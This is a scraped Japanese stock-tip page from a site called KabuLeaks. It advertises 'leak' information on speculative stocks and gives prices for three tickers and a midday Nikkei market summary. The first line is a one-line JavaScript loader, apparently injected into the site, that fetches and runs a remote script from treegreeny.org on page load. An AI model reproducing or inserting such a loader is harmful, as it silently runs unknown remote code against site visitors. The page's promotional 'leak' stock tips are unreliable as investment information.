;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/28 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【8/28 前引け】

【8914】エリアリンク 144円 +5 (+3.59%)

【1803】清水建設 1,184円 +26 (+2.24%)

【8306】三菱UFJフィナンシャル・グループ 822円 +35.1 (+4.46%)

前場の日経平均株価は513円高の3日大幅続伸。前日の東京市場引け後に中国・上海総合指数が急伸したほか、米4-6月GDP改定値が市場予想を大幅に上回ったことなどを好感。外部環境が好転からの大幅高スタート、買い一巡後1万9,000円を挟んでのもみ合いとなっている。業種別では、空輸業のみの下落で他32業種全てが上昇。特に鉱業、鉄鋼が7%超の上昇。非鉄金属が6%、石油石炭製品が5%の上昇とこれに続いている。

個別では、前日に株式分割の実施を発表した【9728】日本管財、【6871】日本マイクロニクス、【3329】東和フードサービスが大幅高となっているほか、リニア関連で注目が集まった【1811】銭高組がストップ高買い気配。米DVLABS社の動画圧縮関連技術で販売業務提携契約を締結を発表した【3823】アクロディアもストップ高となっている。その他、本日、マザーズに新規上場した【6172】メタップスの初値は、3040円。公開価格の3300円を7.88%、260円下回った。

後場は1万9,000円の攻防。引けで1万9,000円台乗せキープできるような週明け以降200日線上への回復も期待できそうだが割れて引けるようなら週明け以降一旦の利益確定売りも警戒しておきたい。